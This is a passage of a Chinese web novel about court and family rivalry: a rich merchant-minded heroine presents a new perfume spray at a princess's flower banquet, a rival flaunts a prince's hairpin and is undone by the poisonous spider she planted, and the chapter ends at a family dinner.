这支簪子，正是长公主赏赐的那根点翠簪子。 第133章 香露 冷如烟双手接过簪子，一时间还没反应过来。 这、这不是长公主那只用来当作彩头的点翠簪子吗？ 就这样水灵灵送给她了？ 九殿下比试得了第一，专门送给她的？ 接受这根簪子，不亚于在她身上贴上了“准九皇妃”的标签。 冷如烟上一秒还沉浸在九殿下不知道她是谁的悲伤中，下一秒又差点乐出了失心疯。 “多、多谢殿下赏赐！” 楚翎曜扔下簪子，头也不回地离开了。 冷如烟看着九殿下的背影，整个人抖成了筛糠，就连头发丝，都透露着欢喜。 户部右侍郎刚被九殿下抄了家，冷如烟的父亲是户部左侍郎，听说同僚遭难之后，心里惴惴不安，怕九殿下下一个就抄冷家。 结果这么久了，冷家依然安然无恙。 冷如烟一直以为自己是被九殿下偏爱的，冷家没被为难也是看在她的面子上。 直到今日看到九殿下偷看苏舒窈，她被打击得够呛。 现在得到簪子，她又活了过来，兴许之前九殿下偷看的，其实是她， 只不过她眼挫，看飚了。 她才是九殿下的真爱！ 哇哈哈哈—— 这一天的心情，真是大起大落。 冷如烟将点翠簪子插进发髻里，一摇三摆地回到了花厅。 男宾的骑射比试之后，便是贵女献艺。 有人准备了歌舞，有人弹琴，还有的献上书画。 苏明芷小声和苏明珠咬耳朵：“苏舒窈定会跳舞，明珠姐姐，你也跳舞，你跳得比她好，争取把她比下去！” 苏明珠白了她一眼。 她不准备献艺。母亲说她的舞姿比苏舒窈更灵动，明显就是偏心。 苏明珠有自知之明，她没有苏舒窈跳得好。 “我不跳。” 万映霞嘴边噙着一抹嘲讽：“你们来长公主府，什么才艺都不准备，是来白吃白喝的吗？” 苏明芷气鼓鼓看过去：“你们准备了什么？” “我准备了双面绣。” 万映霞拿出自己的绣品，一副扇面，正面绣的是一对仙鹤，背面是山水画，栩栩如生，绣工了得。 苏明芷看到之后，更生气了。 她们不仅被苏舒窈比下去，还被万映霞两姐妹比了下去。 万家只是区区五品官，苏明芷打心底看不起万映霞两姐妹，现在忽然被比下去，她心里好憋屈，好难受。 苏明芷暗戳戳找到内侍报名：“苏明珠献舞一曲，霓裳舞。” 贵女们排队献艺，没一会儿便轮到了苏舒窈。 内侍唱道：“威远侯府苏大小姐，向长公主献礼。” “长公主殿下，这是民女新作的香露，特意献给长公主。” 苏舒窈双手奉上一只晶莹剔透的琉璃瓶，琉璃瓶里装着淡红色的液体。 长公主淡淡看了一眼：“这是葡萄酒？” 西域那边传来的葡萄酒，用琉璃瓶装了，颇为赏心悦目。 葡萄美酒夜光杯，寻常人觉得稀奇，但在见惯好东西的长公主面前，只能算作一般。 苏明芷看到琉璃瓶的一瞬间，脸都笑烂了：“苏舒窈那个没见识的，这葡萄酒我都喝过，没什么稀奇，还不如跳舞呢！” 苏明珠也跟着嗤笑：“如烟姐姐呢？可惜了，如烟姐姐没看到苏舒窈丢脸的样子。” 苏明芷：“放心吧，待会儿如烟姐姐回来，我一定一字不漏地告诉她。” “不是葡萄酒，琉璃瓶子里面装的是香露。” 苏舒窈双手举高，将琉璃瓶子捧到长公主面前：“长公主殿下，您按一下花苞。” 琉璃瓶盖子不是普通的盖子，而是用琉璃做成了一朵铃兰花苞的模样。 长公主往下一按，铃兰花苞盛开，瓶口喷出细密的水雾。 水雾喷散在空中的同时，众人闻到一股摄人心魄的花香。 水雾落到衣摆上，衣摆也被惹上了好闻的香气。 不仅是长公主，在场所有人的眼神都亮了。 “好神奇啊！” 长公主兴致盎然，将琉璃瓶捧在手中观察。 瓶子确实是西域那边用来装葡萄酒的琉璃瓶，瓶口经过改良，弄了个小机关。 “苏姑娘的心思真是巧妙，本宫还是第一次见到水状的香料，快快告诉本宫，这是怎么做成的。” 苏舒窈：“回禀长公主，将香料经过蒸馏，提纯，得到的香料精华，民女把它称之为香露，这款也可以叫做铃兰露。” “可以喷在手腕处，举手投足间，便能带起一阵香风。香味比香包持久，也比香包方便许多。” 这是她淘到的一本制香书上写的，好像是一位游者从海外学来的法子。她原本就喜欢调香，捣鼓了几下，没想到竟然成了。 在大夏，制香调香可是雅事。能制出如此特别的香，心思还怎么巧妙，苏舒窈无疑成为了全场的焦点。 “香露，真是好名字！”长公主简直爱不释手：“你那里还有什么香露？” 苏舒窈回道：“暂时只有梅露、桂露、栀子露、苍兰露、檀木露这几种，长公主要是有喜欢的气味，可以告诉民女，民女喜爱调香，可以试着调制。” 长公主惊讶：“这么多？” 苏舒窈笑道：“不同的花香，瓶盖也做成了相应的造型，长公主如果喜欢，民女明儿就派人送来。” 长公主钟爱小苍兰，点名道：“就苍兰露吧，明儿送来本宫试试，要是用得好，本宫重重有赏。” “多谢长公主。” 苏舒窈回到自己的位置，刚坐好，就有贵女找过来：“苏姑娘，你这香露卖不卖啊？我真的好喜欢。” 苏舒窈眼神里闪过一丝狡黠。 在长公主面前献宝是其次，推广新做的香品才是真。 她谦虚道：“制香本是雅事，怎么好收姑娘的银子？姑娘喜欢什么样的，改日做了，给姑娘送府上去。” 贵女们道：“香料本就昂贵，也不能让苏姑娘赔本不是。要是用得好，我们也是打算长期使用的，苏姑娘你就开个价吧。” 苏舒窈笑着应了：“那我回去算一算，让丫鬟把香露的品种和价格写上，再附上香卡，姑娘们喜欢什么，选什么。” 贵女们又问：“香卡又是什么？” 苏舒窈拿出一张小纸片，“香露喷到纸片上，香气会保持好几个时辰，到时候大家可以根据气味选择喜欢的香露。” “岂不是可以做书签？花笺上可以喷上香露。” “真真是应了那句：闻香识美人！” 长公主这场花宴，几乎聚集了京城一大半贵女。想必过不了多久，琉璃香露定会风靡京城。 又要大赚一笔。 苏明芷人都快气晕了，苏舒窈不仅大出风头，还赚了银子。 她在长公主花宴上做生意，非但没人骂她满身铜臭精于算计，大家反而还夸她风雅。 忽然，内侍唱念：“下一位献艺者，威远侯府苏明珠，霓裳舞。” 苏明珠听到自己的名字，一整个大傻眼。 苏明芷忽然来了精神：“明珠姐姐，快去换衣裳，好好跳，打脸苏舒窈！” “瞧她那个猖狂样儿！” 第134章 簪子 吴公公见没人回应，又念了一遍：“下一位献艺者，威远侯府苏明珠，霓裳舞。” 苏明芷举起手来：“在这里，内侍大人，我姐姐马上准备。” 苏明珠捂着额头，眼前一黑又一黑：“你给我报的？” 声音几乎是从牙缝里挤出来的。 苏明芷对她的愤怒一无所知，还在得意地点头：“对啊，明珠姐姐，快去准备，争取一舞惊艳赢得满堂彩！压过苏舒窈的风头！快去吧，我把衣裳都给你准备好了。” 苏明珠恨不得当场就把苏明芷给掐死：“你什么时候准备的衣裳？” “刚刚苏舒窈卖弄那劳什子香露的时候，我让翠仪去马车上拿的。明珠姐姐，我聪明吧？”苏明芷得意地摆着脑袋求表扬。 “你聪明......”个头。 苏明珠简直哭笑不得，她怎么有个这么愚蠢的妹妹！ “你决定之前，能不能找我商量一下？” “商量什么？磨磨蹭蹭，要错过机会了，刚才要是晚一步，都报不上名。” “......” 苏明珠的舞技真的很一般，来之前并没有献艺的打算，都没有事先排练，现在上去，不丢脸就是最好的结局。 “能不能告诉吴公公，我的脚崴了，舞不了。” 苏明芷傻乎乎道：“明珠姐姐，你的脚没崴啊？好好的啊？” 万映霞插话道：“傻子，苏明珠怕丢脸，她不想跳。” 苏明芷忽然就来气了：“闭嘴吧你！明珠姐姐的霓裳舞可是一绝，之前母亲天天夸赞的！等着看吧，待会儿可别被明珠姐姐精彩的亮相闪瞎了狗眼！” “明珠姐姐，快去准备，随便把万映霞的脸也打烂！” 万映霞揣起双手：“好啊，我等着她打脸。” “不知道最后谁的脸会被狠狠打肿！” 苏明珠这回是真的恼了：“明芷，别说了......” 吴公公不耐烦道：“快去吧，下一个就到你了。” 苏明珠朝着吴公公扯出一个笑来：“内侍大人，民女肚子有些不舒服，实在是跳不了，能不能通融一下？” 吴公公冷眼瞧着她：“那可不行，都报上去了，姑娘要是不上，咱家可不好向长公主交代。” 实际上，苏明珠跳没跳，长公主都不会知道。 吴公公是收了苏舒窈的银票，一定要把苏明珠给安排好，不可能让她找借口溜掉。 苏明珠没有办法，只得硬着头皮去换衣裳。 已经被逼到这个地步，苏明珠只能跳。 她在心中反复的默念动作，告诉自己千万别紧张。 她的霓裳舞，可是得到了母亲的高度认可的。 想起母亲的各种溢美之词，苏明珠内心渐渐平缓下来。 如果发挥得好，说不定真的能惊艳四座。 结果她刚站上台，就紧张了。 没有排练，再加上紧张，苏明珠身体僵硬，腰间绸带缠作一团，差点把自己绊倒。 全程一个鼓点没压上，手脚也僵硬。 原本仙气飘飘的舞步，半点“羽衣蹁跹”的感觉都没有，跳得跟盲人摸象似的。 真的是丢脸丢到姥姥家了。 长公主看了两眼，便挥了挥手：“哪家来的糟心玩意，赶紧下去吧，下次准备好了再上。” 人群里传来一阵哄笑。 苏明珠下来的时候，一张大脸红得滴血。 万映霞笑得肚子痛：“哎哟，苏明芷，我的眼睛快被亮瞎了，好久没有看到这么独特的霓裳舞了！独特的足以载入屎册！狗屎的屎！哈哈哈！” 万映霜也乐不可支：“霓裳舞？我还以为是僵尸舞！” 苏舒窈淡淡地看着苏明珠，唇角微扬。 上一世，万氏对她采取打压式的教育，不管做得再好，都是贬低。 幼小的她，对亲情总是抱着不切实际的幻想，越是被打压，就越是想要做得更好。 她以为，总有一天，她的努力会被万氏看到，成绩会得到万氏的认可。 懂事之后才发现，这种教育，只针对她一个人。 万氏对苏明珠，是鼓励式教育。 万氏不仅会变着花儿鼓励苏明珠，还会拉踩她来捧着苏明珠。 明明她的舞姿更加惊艳绝伦，到了万氏嘴里，便成了不及明珠一半轻盈灵动。 她也一直没有等到万氏的认可。 万氏夸得多了，苏明珠怕是真的以为自己舞姿不凡了。 今儿有些可惜，万氏要是在场就好了，她一定会开口询问：夫人，这便是你说的身轻如燕？广袖长舒？ 苏明珠回坐之后，苏舒窈轻轻拍了拍手：“明珠妹妹的舞技又进步了，姐姐这下真是望尘莫及啦。” 苏明珠羞得双颊绯红，恨不得挖个地洞把自己给埋了。 苏明芷像是一个犯了错的孩子，手足无处安放：“明珠姐姐，你是不是不舒服啊，你不舒服早点说啊，为什么硬要上......” 苏明珠恶狠狠盯着她：“你快闭嘴吧，我难道没说？威远侯府的脸面，都被你给丢完了！” 苏明芷自知理亏，埋着头没说话。 正在这时，冷如烟身姿摇摆，带着万千风情进入花厅。 原本大家都没有注意她，她主动走到长公主面前，跪了下去：“民女给公主殿下告罪，民女来迟了。” “起来吧，回去落座。” 冷如烟起身之后，故意扶了扶头上的簪子。 “哎呀，那不是长公主殿下赏赐的点翠簪子吗？簪子不是在九殿下手上吗？怎么戴在了她头上？” “啊，簪子在谁头上？！” “簪子戴在了冷姑娘头上！” 一时间，在场众人的目光全部聚集到冷如烟身上，冷如烟昂首挺胸，好似打了胜仗的孔雀。 输了银子，但她赢得了爱情！ 长公主眯着眼，脸上露出一抹笑意，怪不得小九没出现，原来是给心上人送簪子去了。 就是这冷家的姑娘吧，美是美亦，和小九家世也算得上门当户对，就是做作招摇了一点。 原来小九喜欢这样的？ 冷如烟迎着众人的目光，再次恢复成之前那个弱柳扶风、身姿纤弱的女子。 ............ 世上传得最快的便是流言，冷如烟戴上点翠簪子没一个时辰，容妃那边就收到了消息。 容妃脸上挂着笑，只是那笑容不达眼底，渐渐扭曲。 声音也越发尖锐：“阿秋真是不乖啊，都说了他还小，不着急选妃，怎么就不听呢？” “都有了母妃的爱，还不知足！” “阿秋是觉得自己长大了，柜子关不下他了？” 第135章 炫耀 冷如烟扶着头上的点翠簪子，一摇三摆地坐了下来。 苏明珠简直要乐疯了：“如烟姐姐，您慢点，您现在可是准王妃了。” 冷如烟用帕子捂住口鼻，一张小脸羞得绯红：“明珠，不许这样说，八字都还没有一撇呢~” “什么八字还没一撇，九殿下把簪子都送给如烟姐姐了，依我看啊，这是好事将近了！” 苏明珠说完，嬉皮笑脸地看向苏舒窈。 苏舒窈不是仗着和九殿下私下有了苟且为所欲为吗，没想到吧，九殿下钟情的是冷如烟。 也是，堂堂皇子，怎么可能娶一个落魄侯府的养女当正妃，九殿下之前帮助苏舒窈，不过是玩玩罢了。 苏舒窈内心已经千疮百孔了吧！ 哈哈哈哈—— 解气！ “舒窈姐姐，你看起来不太高兴啊？” 苏舒窈淡淡地睨她一眼，一双深色的眼瞳平静无波，“妹妹刚刚跳了那么难看的舞，该不高兴的应该是妹妹吧。” “我赢了那么多银子，香露又要大卖，想想今后还要赚更多的银子，我可高兴得很。” 少女淡然一笑，如深谷幽兰，舒雅淡然。 “倒是如烟姐姐输了一万两，心里估计不得劲吧。” 冷如烟脸上的笑凝固了一瞬。 苏明珠咬牙切齿道：“既然姐姐没有不高兴，那就快给如烟姐姐送上祝福吧。” “等如烟姐姐成了九皇妃，这一万两银子，不过九牛一毛罢了。” “如烟姐姐，到时候大婚的日子一定要邀请我们啊。” 苏明珠说话的时候，一直死死盯着苏舒窈的脸，试图从她脸上找到一丝破防的痕迹。 仿佛只要看到苏舒窈伤心欲绝，她就赢了。 苏舒窈神色未变一分一毫，周身仿若筑起一道无形的壁垒，她端坐其中，悠然自得。 上一世，冷如烟也是这般热烈地追随九殿下，但最后，她也没能如愿当上九皇妃。 有一次，冷如烟入宫，不知道什么原因，落入湖中。 恰好被路过的侍卫救起。 她穿得单薄，被救起之后，全身都被侍卫看光了，又被侍卫抱着从湖中起来。 皇子妃身上可不能有半点污名。 冷如烟被侍卫从湖中救起的那一瞬，便失去了成为皇妃的资格。 她不得已嫁给了救命恩人。 苏明珠也是重生的，难道苏明珠不知道？ 看着苏明珠窃喜的样子，苏舒窈只觉得对方愚蠢到了极致。 白活两世的蠢猪！ 同时，心中也疑惑，为什么九殿下要将簪子送给冷如烟？ 她确定，九殿下根本没有迎娶冷如烟的打算。 这根簪子是怎么到冷如烟手上的？ 捡的？ 应该不是，如果是捡的，冷如烟绝不会这么招摇。 想是九殿下又有了什么坏主意...... 冷如烟娇羞地嗔道：“明珠妹妹，快别说了，再说舒窈妹妹要伤心了。” 说着，她亲切地拉住苏舒窈的手，摆出一副胜利者的姿态：“舒窈妹妹，我知道你也喜欢九殿下，但，我也不知道九殿下会把簪子送给我。” “舒窈妹妹，你别生我的气好不好？” 她脸上露出惋惜与自责，眼神里却有藏着浓浓的自得之意。 苏舒窈回握住她的手，笑得真情实意：“如烟姐姐，待你和九殿下大婚当日，妹妹必定送上厚礼。” “舒窈妹妹，说好了，你可不能反悔。” 冷如烟笑得花枝乱颤，笑过之后，摆出一副大度的模样：“你要是真喜欢九殿下，我可以帮你问问的，正妃不行，你还可以试试侧妃、侍妾。” 苏舒窈将手从她怀里抽出来，淡淡一笑：“行啊，那就要麻烦姐姐了，姐姐什么时候帮我问啊？” 冷如烟顿了顿，脸上的笑有些凝固。 苏明珠骂道：“苏舒窈，你要不要脸啊？！你是嫁不出去了吗，这种事哪有主动去问的？” 苏舒窈还没来得及插话，万映霞的嘲讽早已准备好了：“苏明珠，你聋了是不是？你没听见是如烟姐姐主动要帮舒窈姐姐问的？！” “如烟姐姐可真贤惠啊，还没当上正妃，就开始给九殿下张罗侧妃侍妾了。” “这要是没当上正妃，岂不是要沦为全京城的笑柄？” 苏舒窈浅浅一笑：“拭目以待。” 事以密成，言以泄败。 事情刚出来个苗头，便大张旗鼓大肆宣扬，多半都会失败。 苏明芷大声嚷道：“如烟姐姐肯定会成为九皇妃的！” 苏明芷的声音太大，一下引来旁边众人的注意，就连长公主也看了过来。 苏明珠骂了句蠢猪，赶紧捂上了苏明芷的嘴：“祖宗，你下次说话之前，先问一问我吧。” 几人撕破脸之后，冷如烟拉着苏明珠、苏明芷换了位置。 她不仅觉得苏舒窈讨厌，万家那对姐妹花更是十恶不赦。 牙尖嘴利的，和苏舒窈一个德行。 竟敢诅咒她嫁不了九皇子。 等她风光大嫁，要做的第一件事，就是狠狠打烂她的脸！ 第136章 恭喜 冷如烟换了位置，苏舒窈也乐得清净。 她一边欣赏歌舞表演，一边看着手中的册子。 几乎所以的贵女都表示要购买香露，今儿又赚一笔。 京城的市场算是打开了，江南那边的市场更大，得想个法子，把生意做到江南去。 谢家是江南大族，倒是可以让谢瑜帮忙。 长公主坐了一会儿，没见到谢瑜，把吴公公叫到面前来：“瑜儿怎么还没出来，换衣裳换那么久？” 小九都找到心仪的姑娘了，她的瑜儿可不能落后。 吴公公凑过去，小声道：“长公主殿下，谢小郡王他好像不太高兴。” 长公主眯着眼笑了笑，“怎么不高兴啊，本宫看他挺高兴，哄着本宫开了赌，虽然输了比试，但赚了实惠，怎么会不高兴？” 吴公公悄咪咪递上两张银票，小声道：“这是苏姑娘给奴才的。” 他三言两语将谢小郡王忙活一场，还没苏舒窈赚得多的事说了。 “长公主殿下，我保证没透露一点消息出去，这苏姑娘真是鬼精鬼精的，任凭奴才口都说干了，还是坚持押九殿下赢。” 长公主拿起琉璃香露，脸上露出一抹舒心的笑来：“这苏姑娘，还真是个妙人。” 能让瑜儿竹篮打水一场空，有些本事。 苏舒窈研制的香露，她也喜欢，就算看出苏舒窈借此在赏花宴上做生意，她也没有过多干涉。 “这银票既然是苏姑娘赏你的，你便收着吧。” 吴公公立刻跪下叩谢：“多谢长公主殿下。” 长公主看向苏舒窈，苏舒窈端坐在梨花椅上，身姿挺拔，目光柔和。 长相是难得一见的美人儿，性格也好，遇事沉稳、不骄不躁，很有当家主母的风范。 单看人品，可以为瑜儿选为正妃，就是这身世吧，实在是拿不出手。 虽然瑜儿的正妃不看重家世，但家世太落魄也不行。 瑜儿毕竟是郡王，按照规制，能娶一个正妃，两个侧妃，四个侍妾，姬妾无数。 正妃如果家世太差，光凭手段，镇不住下面的侧妃侍妾。 一个侧妃之位，倒是可以考虑。 就是不知道瑜儿喜不喜欢。 想到这里，长公主扶着内侍的手站起身来：“走吧，随本宫去瞧瞧瑜儿在干什么？” 谢瑜的心情不太美丽。 筹谋半天还没别人赚得多，还不能穿他最喜欢的亮色衣裳、黄金配饰，心情确实有些悲伤。 悲伤了小半个时辰，他将银票藏好，换了身素色直缀。 打扮清雅，摇身一变，又恢复成矜贵无双的郡王爷。 “小郡王，长公主殿下来了。” 听见禀告，谢瑜赶紧迎了出去：“母亲，您怎么来了？” 长公主拉着儿子的手：“见你半天不出来，专门过来看看你？对了，今儿来的姑娘有没有喜欢的？” 谢瑜想了想，认真道：“她们都没有母妃好看。再说了，儿子的喜欢不重要，母亲的意见才宝贵。母亲有没有喜欢的儿媳？” 长公主被哄得心花怒放：“威远侯府的苏姑娘怎么样，母亲瞧着倒是好。” 谢瑜：“苏大姑娘？” 长公主抿了抿唇，眼底笑意渐浓，威远侯府来了三位姑娘，她并没有说是哪位苏姑娘。 想来，瑜儿对苏舒窈还是有几分关注的。 “苏姑娘瞧着确实有几分亲切。” 长公主笑道：“亲切，怎么说？” 谢瑜：“儿子觉得她和五房的小姑有几分相识？” “谢家五房的小姑？”长公主歪头想了想。 谢家百年大族，光是谢阁老那一支，如今也有几十号人，谢瑜嘴里五房的小姑，她还真不清楚。 “小姑和儿子年龄差不多大，小时候经常在一起读书玩耍，前年嫁去了西北，母亲不记得也是正常。” 长公主恍然大悟般点了点头：“怪不得母亲第一次见她也感觉亲切，这么看来，苏姑娘和驸马也有几分相似。” “这么一说，还真是和父亲有几分相似。”谢瑜扶着长公主的手：“母亲，儿子扶着您回花厅吧，花厅少了您这个主人，小姑娘们要着急了。” 长公主和谢瑜出现之后，没一会儿，楚翎曜也回来了。 表演继续。 冷如烟扶着簪子，上了台。 她弹奏了一曲《越人歌》，情到深处，竟然跟着琴声唱了起来：“山有木兮木有枝，心悦君兮君不知~” 曲调悠扬，歌声动听。 明眼人一看，便知是专门弹给九殿下的。 长公主笑道：“小九，你觉得此曲如何？” 楚翎曜眼神冷漠，语气冷硬：“矫揉造作，难听至极。尤其是唱的那两句，好似喉疾患者的痰鸣。” ？长公主愣了愣，小九不是心悦冷姑娘吗，怎么会作出这般评价？ 还好冷姑娘坐得远，没听到。 谢瑜在一旁笑道：“九表弟要求严苛，今后九皇妃有的罪受了。” 他一眼就看出来，九表弟不喜冷姑娘，眼神甚至带了些厌恶。 明明不喜欢，为什么要送簪子？ 这九表弟还真有意思。 ...... 冷如烟弹完曲子，扶着头上簪子，一步三摇地下了台。 “未来的皇妃娘娘，让我来扶着您~”立刻有贵女上前搀扶。 九殿下的性子大家都知道，高冷矜持，从来不会主动和女子亲近，听说他连侍寝宫女都没有。 冷如烟能得到他的簪子，说明冷如烟是真心被他看重。 再加上冷如烟的家世，冷如烟大概率就是九皇妃了。 冷如烟欣然接受着大家的恭维，仿若已经是九皇妃本妃了。 表演结束，大家要去将自己的瓜果篮子拿回来，看看有没有喜蛛在里面结网。 冷如烟带着苏明珠、苏明芷去河边找自己的篮子。 “如烟姐姐，这是你的篮子！”苏明芷殷勤地将篮子捧到冷如烟面前。 “你确定只有石头，没有树叶？” 冷如烟没有第一时间去接篮子，她怕苏明芷拿的是苏舒窈的篮子。 苏舒窈的篮子里，可是放了好东西。 苏明芷信誓旦旦道：“当然确定！我刚看了，里面只有一颗石头，没有树叶。恭喜如烟姐姐，蛛网结得又密又整齐，如烟姐姐巧得多！” 冷如烟这才放心接过来。 她揭开瓜果篮子上面盖着的绸布，忽然，一只巴掌大的毒蜘蛛跳到她手上。 卧槽，这不是她让人放到苏舒窈篮子里的毒蜘蛛吗？！ 这么到她篮子里了？！ 苏明芷，你不是说你检查过的吗？！ 其实你是苏舒窈派来的细作吧！ 毒蜘蛛巴掌大小，身上五彩斑斓，全身长毛，冷如烟吓得寒毛倒竖，全身起满了鸡皮疙瘩。 “啊——” 冷如烟一边大叫一边跳，蜘蛛非但没有被甩掉，反而顺着手臂往上爬。 冷如烟抽了抽，晕了过去。 “快来啊，有人晕了！”苏明珠两姐妹见人晕了，也不敢上前帮忙。 她们也怕蜘蛛。 楚翎曜远远地看着这一场闹剧，唇角微勾。 ~ 冷如烟是被抬回府的。 她醒来的第一件事，不是检查自己有没有被蜘蛛咬伤，而是检查头上的点翠簪子有没有掉。 她双手捧着点翠簪子递到母亲面前。“母亲，母亲，女儿有个天大的好消息！” 冷夫人笑道：“不就一支点翠簪子嘛，有什么值得稀奇的？如烟，娘不是教过你，女子要静。” 冷如烟将这根簪子的由来说了：“九殿下亲自给我的！” 冷母脸上原本端庄的表情也跟着激动起来：“真的？如烟，这可真是一个天大的好消息。” 冷如烟又道：“母亲，还有一个坏消息。” “你说。” “我今儿输了一万两，待会儿长公主府的内侍可能会过来拿银票。”冷如烟低着头：“女儿没那么多银子。” 冷夫人大手一挥：“一万两比起这个消息算什么，你放心，待会儿长公主府来人，母亲帮你垫付了，你爹也不会怪你。” “谢谢母亲。”冷如烟又道：“母亲，我想进宫去探望姑母。” “什么探望姑母，你想去拜见容妃娘娘吧？” 冷如烟吐了吐舌头：“知女莫如母。” 冷夫人在她头上点了一下：“提前拜见也好，虽然说婚后不和容妃住一起，但偶尔还是要进宫去，提前搞好关系有利无害。” “你先别慌，我先调查一下容妃的喜好，做好准备再去。” 两母女正在商议，门房便来报：“夫人、小姐，宫里来旨了，容妃娘娘让姑娘明儿进宫说话。” 冷如烟脸上红霞飞：“娘，容妃娘娘都知道了。” 冷夫人：“快去准备，这九皇妃的位置，可是板上钉钉了！” 第137章 生意 长公主府花宴结束，贵女们排队离开。 侯府的马车驶过来，苏舒窈扶着秋霜的手，正准备上马车，一下被苏明珠拦住。 “妹妹这是要干什么？” 苏明珠上前一步，拉着马车的门：“我有点生意想和姐姐谈一谈。” 苏舒窈微微眯了眯眼：“妹妹不是觉得商贾低贱吗？主动谈生意，就不怕污了妹妹的冰清玉洁？” 苏明珠冷哼一声：“这点你无需在意。” “我可不想和你谈生意，到时候夫人和世子怪罪下来，我可赔不起，妹妹的冰清玉洁可是千金难换的。” 苏舒窈脸上挂着笑，言语间却透着尖锐的讽刺。 苏明珠：“......” 苏舒窈可不想和她做生意。 那个猪脑袋，重生一回都活不明白，基本和做生意无缘了。 苏明珠的脸有些黑：“苏舒窈，这笔生意对你来说，有着天大的好处，你不听会后悔的！” 苏舒窈：“让我后悔吧。” 说着，便吩咐车夫驾车离开。 苏明珠把着车门不让走，快速说道：“你今天赚了九万两，我要一半，还有香露生意，我也要一半，不然我就回家告诉父亲，到时候你一分钱也别想得到。” 苏明芷在一旁插嘴：“苏舒窈，我们这是为你好，你分给我们，还能留一半！你别好赖不分啊！” 见苏舒窈脸色有些难看，苏明珠又道：“三分之一，不能再低了！” 苏舒窈差点没被气笑。 这便是苏明珠口中天大的好处。 苏明珠不劳而获惯了，这种强抢的行为，到她嘴里，竟然成了给别人的好处。 都是被万氏和苏明沛两兄弟给惯的。 一脚把苏明珠的手踹开，吩咐车夫：“快走！” 苏明珠被踹到地上坐着，屁股被硌得青痛。 苏明芷上前把她扶起来，朝着马车骂道：“苏舒窈真不是个东西！” “明珠姐姐，我们该怎么办？” 苏明珠一瘸一拐朝马车走过去：“快，我们一定要赶在她前面回府，既然她不肯承我们的情，我们也让她竹篮打水一场空，一分钱也得不到！” 苏明芷点点头：“真是狗咬吕洞宾，不识好人心！” 苏明珠带着人马不停蹄地回了侯府，直奔威远侯院子。 “父亲，苏舒窈在长公主花宴上赢了九万两！” 威远侯刚服了丹药，正在静息打坐，闻言差点从蒲团上蹦起来。 “你说多少？！” “九万两！”苏明珠大声道：“父亲，我亲眼看到她收下银票，整整九万两！” 苏舒窈不是不分给她银子吗？ 等她的银子全部被父亲拿走，她怕是哭都哭不出来！ 想到这里，苏明珠觉得屁股也不痛了：“除此之外，她还发明了一款香露，这款香露不仅长公主喜欢，京城所有的贵女都想从她那里购买。” “父亲，她的生意一年要赚几十万上百万两啊！” 威远侯听的是双眼放光：“苏舒窈现在在哪里，快让她来见我！” “我们一同从长公主府回来的，她应该快到了。” 等了快一个时辰，苏舒窈都没影。 苏明珠也不急，她不信苏舒窈不回来了。 一直等到戌时，苏舒窈依然没有回来，但是派人给威远侯送了两千两回来。 “侯爷，大小姐说了，香露需要的原料特殊，加之贵女们要得急，今晚需要歇在铺子上熬夜制作。香料成本高，损耗大，九万两要当作本钱。吴道长那边，大小姐打点好了，等生意稳定挣了钱，第一个就孝敬侯爷。” 威远侯收下银子，捋了捋胡须：“还是舒窈懂事。” 苏明珠慌了：“父亲，苏舒窈两千两就把你打发了？她给太监的赏赐都不止两千两！” 威远侯冷眼看过去：“你在教本侯做事？” “没听到舒窈帮本侯把吴道长打点好了？吴道长轻易不出山的！” 一顿饱和顿顿饱威远侯还是分得清的，苏舒窈擅长经商，等她把香露生意做起来，侯府的吃穿用度又会恢复从前。 就是苏明珠这个蠢货，之前把香料铺子给毁了，现在的香露铺子，可千万不能让她插手！ “不懂经营别乱说话！别一天到晚盯着舒窈，想想你的婚事，你现在名声也丢了，清白也毁了，不是说元家要娶你吗？怎么现在都没有信儿！” “十天之内，要是元家那边没信，你就跟着你母亲一起去家庙吧！” “你要是有舒窈半分能干，本侯也不至于这么担心，真的一团扶不上墙的烂泥！” 威远侯说完，便扬长而去。 苏明珠看着威远侯的背影，气得牙痒。 她好想母亲啊，要是母亲在，定然不会这样对她。 母亲也不会被苏舒窈那点蝇头小利蒙蔽双眼。 苏明珠咬咬牙，一定要想办法把母亲从家庙里救出来。 ~ 苏舒窈没回侯府，从长公主府出来，她去了大伯娘那里。 大伯娘那里，更像她的家。 “舒窈妹妹，我拜师成功了！！”苏明沣听说苏舒窈来了，一蹦一跳地来到她面前。 “恭喜三哥哥。”苏舒窈笑着送上祝福。 苏明沣下巴一扬，双手叉腰，烘托出一派少年桀骜。 “等我学成归来，谁敢欺负我的舒窈妹妹，我就毒谁！” 鬼医一手毒药使得出神入化，往往旁人都还没看到他出手，对手就已经中招。 “稳重一些，小心这话被你师父听了去，不要你了。”苏明厉走过来，在三弟头上敲了敲。 今儿过节，李大儒给了一晚上的假，苏明厉也回家了。 “大哥哥好。” 多日不见，苏明厉好像长高了不少，看起来更加沉稳了。每日苦读，清瘦了些许。 “舒窈妹妹。”苏明厉带着人往里走：“快进来吧，就等你开席了。” 苏明沣双手捂着嘴，一双大眼睛滴溜溜乱转。 四下探查之后，才凑到苏舒窈耳边，压低着声音：“舒窈妹妹，以后你想毒谁，尽管告诉三哥哥，三哥哥就算背叛师门，也会帮你。” 苏舒窈低头笑起来。 虽然听着像是一句玩笑话，但苏舒窈知道，只要她开口，三哥哥是真的会帮忙。 三哥哥的一颗赤子之心，比真金还真。 大伯能模糊视物之后，也能起来走动了，此时，他正站在厅堂门口翘首以盼。 “舒窈，你来了。快，吩咐厨房，可以上菜了！” “大伯好。” 大伯走到苏舒窈面前，凑近了看得仔细，“哎哟，我们舒窈长得真好啊，老婆子果然没骗我，这五官，跟天上的仙女似的。” 苏明沣大声道：“爹，你不是还看不清楚吗，上次把鸡冠花认成了大公鸡，吓得往后退。要不是我动作快，你差点摔了。现在天都黑了，你怎么连舒窈妹妹长什么样都能看清了？爹，你该不会是在胡说八道吧？！” 大伯被拆穿，气得吹嘘胡：“你个逆子，快去吃饭吧，少说两句会死啊！” 厅堂里，大伯娘已经备好满满一桌佳肴。 烛火映照出老人鬓边的白发，映照出晚辈身上的活力，映照出一张张笑脸。 吵吵闹闹，热气腾腾，这才是一个家应该有的样子。 第138章 爱我一辈子 一顿饭吃得热热闹闹，笑声不断。吃完饭，大伯娘拿来五彩绳，给大家编手链。 俗话说，戴住五彩绳，保平安。 “舒窈会不会，不会大伯娘教你。” “我手笨，要请大伯娘多费心了。” “在大伯娘面前，说什么请不请的？来，像这样，先拿起三股线......” 大伯娘教得很有耐心，苏舒窈学得很认真。 苏舒窈跟着大伯娘编五彩绳，苏明沣三兄弟鬼鬼祟祟溜了出去。 “大哥，你说，舒窈妹妹是不是有什么心事啊？” 